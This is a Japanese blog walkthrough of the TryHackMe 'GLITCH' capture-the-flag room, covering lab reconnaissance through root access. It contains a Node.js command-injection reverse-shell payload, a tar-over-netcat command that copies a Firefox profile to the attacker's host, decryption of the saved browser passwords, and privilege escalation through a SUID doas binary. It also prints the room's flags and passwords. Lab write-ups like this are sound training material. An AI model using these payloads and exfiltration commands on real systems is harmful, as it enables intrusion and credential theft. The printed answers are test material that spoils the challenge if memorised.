0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】GLITCH:Walkthrough

Posted at

概要

TryHackMe「GLITCH」のWalkthroughです。

Task1

Q2.What is your access token?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.20.216 -oN nmap_result
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed

ポートの稼働状況が分かりました。

ポート サービス バージョン
80 http nginx 1.14.0

80番ポートにアクセスします。

index.jpg

ソースコードを確認すると/api/accessパスを発見しました。

index source.jpg

/api/accessにアクセスするとトークンが得られました。

$ curl http://10.10.3.63/api/access                    
{"token":"dGhpc19pc19ub3RfcmVhbA=="}

base64でデコードしてトークンを得ました。

$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d
this_is_not_real

A.this_is_not_real

Q3.What is the content of user.txt?

Hint.What other methods does the API accept?

/へのHTTPリクエストを確認するとCookieにトークンをセットできます。

root request.jpg

先ほど得たトークンを設定すると新しいページが表示されました。

set cookie root.jpg

ソースコードから/js/script.jsを読み込んでいることが分かったので見ると、/api/itemsから画像データを取得しています。

js file.jpg

リクエストを送るとアイテム一覧を取得できました。

$ curl http://10.10.3.63/api/items 
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}

OPTIONSリクエストの結果から、POSTリクエストが許可されていると分かりました。

$ curl -X OPTIONS http://10.10.3.63/api/items
GET,HEAD,POST

POSTリクエストを送信するとメッセージが帰ってきました。

$ curl -X POST http://10.10.3.63/api/items
{"message":"there_is_a_glitch_in_the_matrix"}

リクエストパラメーターのファジングをします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt -request-proto http -request post_request_fuzz -t 100
cmd                     [Status: 500, Size: 1081, Words: 55, Lines: 11, Duration: 244ms]

cmdパラメーターを介してRCEできそうです。
リクエストを送信するとエラーが返ってきました。

rce error.jpg

NodeJSで動いていそうなのでNodeJSのRCEペイロードを使用します。

Netcatでリッスンします。

$ nc -lvnp 1234                                        
listening on [any] 1234 ...

リバースシェルのペイロードを送信し、シェルを張れました。

?cmd=require('child_process').exec('bash+-c+"bash+-i+>%26+/dev/tcp/10.6.55.144/1234+0>%261"')
$ nc -lvnp 1234                                        
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.3.63] 44674
bash: cannot set terminal process group (1386): Inappropriate ioctl for device
bash: no job control in this shell
user@ubuntu:/var/web$

TTYの設定をします。

$ python -c "import pty;pty.spawn('/bin/bash')"

/home/user/user.txtからユーザーフラグを入手できました。

/home/user/user.txt
THM{i_don't_know_why}

A.THM{i_don't_know_why}

Q4.What is the content of root.txt?

Hint.My friend says that sudo is bloat.

/home/user配下を確認すると.firefoxが見つかりました。

$ ls -la
ls -la
total 48
drwxr-xr-x   8 user user  4096 Jan 27  2021 .
drwxr-xr-x   4 root root  4096 Jan 15  2021 ..
lrwxrwxrwx   1 root root     9 Jan 21  2021 .bash_history -> /dev/null
-rw-r--r--   1 user user  3771 Apr  4  2018 .bashrc
drwx------   2 user user  4096 Jan  4  2021 .cache
drwxrwxrwx   4 user user  4096 Jan 27  2021 .firefox
drwx------   3 user user  4096 Jan  4  2021 .gnupg
drwxr-xr-x 270 user user 12288 Jan  4  2021 .npm
drwxrwxr-x   5 user user  4096 Oct  4 04:32 .pm2
drwx------   2 user user  4096 Jan 21  2021 .ssh
-rw-rw-r--   1 user user    22 Jan  4  2021 user.txt

Netcatを使用してファイルをダウンロードします。
Kaliでリッスンします。

$ nc -nlvp 7777 | tar xf - 
listening on [any] 7777 ...

ターゲットマシン上から接続します。

$ cd .firefox
$ tar cf - . | nc 10.6.55.144 7777

.firefoxディレクトリ配下のファイルをダウンロードできました。

drwxr-xr-x  11 kali kali  4096 Jan 27  2021  b5w4643p.default-release
drwxr-xr-x   3 kali kali  4096 Jan 27  2021 'Crash Reports'
-rwxr-xr-x   1 kali kali   259 Jan 27  2021  profiles.ini

下記リポジトリツールを使用してパスワードを復号します。

v0idのパスワードを得られました。

$ python firefox_decrypt.py ../b5w4643p.default-release 
2024-10-04 01:30:39,884 - WARNING - profile.ini not found in ../b5w4643p.default-release
2024-10-04 01:30:39,885 - WARNING - Continuing and assuming '../b5w4643p.default-release' is a profile location

Website:   https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'

v0idアカウントへ昇格できました。

$ su v0id
su v0id
Password: love_the_void

v0id@ubuntu:/home/user/.firefox$

SUIDの検索をします。

$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas
(省略)

/usr/local/bin/doasを悪用して権限昇格できました。

$ /usr/local/bin/doas -u root /bin/bash
/usr/local/bin/doas -u root /bin/bash
Password: love_the_void

root@ubuntu:/tmp#

/root/root.txtからルートフラグを入手できます。

/root/root.txt
THM{diamonds_break_our_aching_minds}

A.THM{diamonds_break_our_aching_minds}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?